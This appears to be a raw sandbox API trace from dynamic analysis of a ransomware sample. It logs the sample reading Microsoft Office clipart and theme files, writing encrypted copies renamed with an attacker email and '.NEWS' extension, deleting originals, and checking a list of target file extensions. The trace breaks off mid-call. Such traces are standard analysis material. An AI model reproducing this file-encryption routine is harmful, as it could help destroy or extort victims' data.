0xffffffff [0168.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0168.515] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.515] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0169.418] GetLastError () returned 0x0 [0169.418] ReadFile (in: hFile=0x4e8, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x1e58, lpOverlapped=0x0) returned 1 [0170.348] WriteFile (in: hFile=0x54c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x1e60, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x1e60, lpOverlapped=0x0) returned 1 [0170.349] ReadFile (in: hFile=0x4e8, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.349] WriteFile (in: hFile=0x54c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.349] SetEndOfFile (hFile=0x54c) returned 1 [0170.349] CloseHandle (hObject=0x54c) returned 1 [0170.349] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.350] SetEndOfFile (hFile=0x4e8) returned 1 [0170.353] CloseHandle (hObject=0x4e8) returned 1 [0170.353] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0170.354] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid")) returned 1 [0170.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0170.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0170.355] lstrlenW (lpString=".doc") returned 4 [0170.355] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0170.355] lstrlenW (lpString=".docx") returned 5 [0170.355] lstrcmpiW (lpString1=".docx", lpString2="6.MID") returned -1 [0170.355] lstrlenW (lpString=".pdf") returned 4 [0170.355] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0170.355] lstrlenW (lpString=".xls") returned 4 [0170.355] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0170.355] lstrlenW (lpString=".xlsx") returned 5 [0170.355] lstrcmpiW (lpString1=".xlsx", lpString2="6.MID") returned -1 [0170.355] lstrlenW (lpString=".ppt") returned 4 [0170.355] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0170.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0170.355] lstrlenW (lpString=".zip") returned 4 [0170.355] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0170.355] lstrlenW (lpString=".rar") returned 4 [0170.355] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0170.355] lstrlenW (lpString=".bz2") returned 4 [0170.356] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0170.356] lstrlenW (lpString=".7z") returned 3 [0170.356] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0170.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0170.356] lstrlenW (lpString=".dbf") returned 4 [0170.356] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0170.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0170.356] lstrlenW (lpString=".1cd") returned 4 [0170.356] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0170.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0170.356] lstrlenW (lpString=".jpg") returned 4 [0170.356] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0170.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0170.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0170.356] lstrlenW (lpString=".doc") returned 4 [0170.356] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0170.356] lstrlenW (lpString=".docx") returned 5 [0170.356] lstrcmpiW (lpString1=".docx", lpString2="6.MID") returned -1 [0170.356] lstrlenW (lpString=".pdf") returned 4 [0170.356] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0170.356] lstrlenW (lpString=".xls") returned 4 [0170.356] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0170.356] lstrlenW (lpString=".xlsx") returned 5 [0170.356] lstrcmpiW (lpString1=".xlsx", lpString2="6.MID") returned -1 [0170.356] lstrlenW (lpString=".ppt") returned 4 [0170.356] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0170.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0170.356] lstrlenW (lpString=".zip") returned 4 [0170.356] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0170.356] lstrlenW (lpString=".rar") returned 4 [0170.356] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0170.357] lstrlenW (lpString=".bz2") returned 4 [0170.357] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0170.357] lstrlenW (lpString=".7z") returned 3 [0170.357] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0170.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0170.357] lstrlenW (lpString=".dbf") returned 4 [0170.357] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0170.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0170.357] lstrlenW (lpString=".1cd") returned 4 [0170.357] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0170.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0170.357] lstrlenW (lpString=".jpg") returned 4 [0170.357] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0170.357] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0170.357] lstrlenW (lpString="PARNT_09.MID") returned 12 [0170.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0170.358] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=6764) returned 1 [0170.358] CloseHandle (hObject=0x4e8) returned 1 [0170.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid")) returned 0x220 [0170.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0170.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0170.359] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.359] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0170.360] GetLastError () returned 0x0 [0170.360] ReadFile (in: hFile=0x4e8, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x1a6c, lpOverlapped=0x0) returned 1 [0170.425] WriteFile (in: hFile=0x54c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x1a70, lpOverlapped=0x0) returned 1 [0170.426] ReadFile (in: hFile=0x4e8, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.427] WriteFile (in: hFile=0x54c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.427] SetEndOfFile (hFile=0x54c) returned 1 [0170.427] CloseHandle (hObject=0x54c) returned 1 [0170.427] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.427] SetEndOfFile (hFile=0x4e8) returned 1 [0170.432] CloseHandle (hObject=0x4e8) returned 1 [0170.432] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0170.920] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid")) returned 1 [0171.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0171.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0171.699] lstrlenW (lpString=".doc") returned 4 [0171.699] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0171.699] lstrlenW (lpString=".docx") returned 5 [0171.699] lstrcmpiW (lpString1=".docx", lpString2="9.MID") returned -1 [0171.699] lstrlenW (lpString=".pdf") returned 4 [0171.699] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0171.699] lstrlenW (lpString=".xls") returned 4 [0171.699] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0171.699] lstrlenW (lpString=".xlsx") returned 5 [0171.699] lstrcmpiW (lpString1=".xlsx", lpString2="9.MID") returned -1 [0171.699] lstrlenW (lpString=".ppt") returned 4 [0171.699] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0171.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0171.699] lstrlenW (lpString=".zip") returned 4 [0171.699] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0171.699] lstrlenW (lpString=".rar") returned 4 [0171.700] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0171.700] lstrlenW (lpString=".bz2") returned 4 [0171.700] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0171.700] lstrlenW (lpString=".7z") returned 3 [0171.700] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0171.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0171.700] lstrlenW (lpString=".dbf") returned 4 [0171.700] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0171.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0171.700] lstrlenW (lpString=".1cd") returned 4 [0171.700] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0171.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0171.700] lstrlenW (lpString=".jpg") returned 4 [0171.700] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0171.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0171.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0171.700] lstrlenW (lpString=".doc") returned 4 [0171.700] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0171.700] lstrlenW (lpString=".docx") returned 5 [0171.700] lstrcmpiW (lpString1=".docx", lpString2="9.MID") returned -1 [0171.700] lstrlenW (lpString=".pdf") returned 4 [0171.700] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0171.700] lstrlenW (lpString=".xls") returned 4 [0171.700] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0171.700] lstrlenW (lpString=".xlsx") returned 5 [0171.700] lstrcmpiW (lpString1=".xlsx", lpString2="9.MID") returned -1 [0171.700] lstrlenW (lpString=".ppt") returned 4 [0171.700] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0171.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0171.700] lstrlenW (lpString=".zip") returned 4 [0171.700] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0171.700] lstrlenW (lpString=".rar") returned 4 [0171.700] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0171.700] lstrlenW (lpString=".bz2") returned 4 [0171.700] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0171.700] lstrlenW (lpString=".7z") returned 3 [0171.701] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0171.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0171.701] lstrlenW (lpString=".dbf") returned 4 [0171.701] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0171.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0171.701] lstrlenW (lpString=".1cd") returned 4 [0171.701] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0171.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0171.701] lstrlenW (lpString=".jpg") returned 4 [0171.701] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0171.701] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0171.701] lstrlenW (lpString="Frosted Glass.eftx") returned 18 [0171.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0171.741] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=334131) returned 1 [0171.741] CloseHandle (hObject=0x4dc) returned 1 [0171.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx")) returned 0x220 [0171.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0171.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0171.773] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.773] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0171.774] GetLastError () returned 0x0 [0171.774] ReadFile (in: hFile=0x51c, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x51933, lpOverlapped=0x0) returned 1 [0171.796] WriteFile (in: hFile=0x54c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x51940, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x51940, lpOverlapped=0x0) returned 1 [0171.803] ReadFile (in: hFile=0x51c, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.803] WriteFile (in: hFile=0x54c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0xf8, lpOverlapped=0x0) returned 1 [0171.803] SetEndOfFile (hFile=0x54c) returned 1 [0171.804] CloseHandle (hObject=0x54c) returned 1 [0171.804] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.804] SetEndOfFile (hFile=0x51c) returned 1 [0172.923] CloseHandle (hObject=0x51c) returned 1 [0172.923] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0172.924] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx")) returned 1 [0172.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0172.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0172.925] lstrlenW (lpString=".doc") returned 4 [0172.925] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0172.925] lstrlenW (lpString=".docx") returned 5 [0172.925] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0172.925] lstrlenW (lpString=".pdf") returned 4 [0172.925] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0172.925] lstrlenW (lpString=".xls") returned 4 [0172.925] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0172.925] lstrlenW (lpString=".xlsx") returned 5 [0172.925] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0172.926] lstrlenW (lpString=".ppt") returned 4 [0172.926] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0172.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0172.926] lstrlenW (lpString=".zip") returned 4 [0172.926] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0172.926] lstrlenW (lpString=".rar") returned 4 [0172.926] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0172.926] lstrlenW (lpString=".bz2") returned 4 [0172.926] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0172.926] lstrlenW (lpString=".7z") returned 3 [0172.926] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0172.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0172.926] lstrlenW (lpString=".dbf") returned 4 [0172.926] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0172.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0172.926] lstrlenW (lpString=".1cd") returned 4 [0172.926] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0172.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0172.926] lstrlenW (lpString=".jpg") returned 4 [0172.926] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0172.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0172.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0172.926] lstrlenW (lpString=".doc") returned 4 [0172.926] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0172.926] lstrlenW (lpString=".docx") returned 5 [0172.926] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0172.927] lstrlenW (lpString=".pdf") returned 4 [0172.927] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0172.927] lstrlenW (lpString=".xls") returned 4 [0172.927] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0172.927] lstrlenW (lpString=".xlsx") returned 5 [0172.927] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0172.927] lstrlenW (lpString=".ppt") returned 4 [0172.927] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0172.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0172.927] lstrlenW (lpString=".zip") returned 4 [0172.927] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0172.927] lstrlenW (lpString=".rar") returned 4 [0172.927] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0172.927] lstrlenW (lpString=".bz2") returned 4 [0172.927] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0172.927] lstrlenW (lpString=".7z") returned 3 [0172.927] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0172.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0172.927] lstrlenW (lpString=".dbf") returned 4 [0172.928] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0172.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0172.928] lstrlenW (lpString=".1cd") returned 4 [0172.928] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0172.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0172.928] lstrlenW (lpString=".jpg") returned 4 [0172.928] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0172.928] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0172.928] lstrlenW (lpString="Inset.eftx") returned 10 [0172.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0172.929] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=44971) returned 1 [0172.929] CloseHandle (hObject=0x51c) returned 1 [0172.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx")) returned 0x220 [0172.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0172.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) 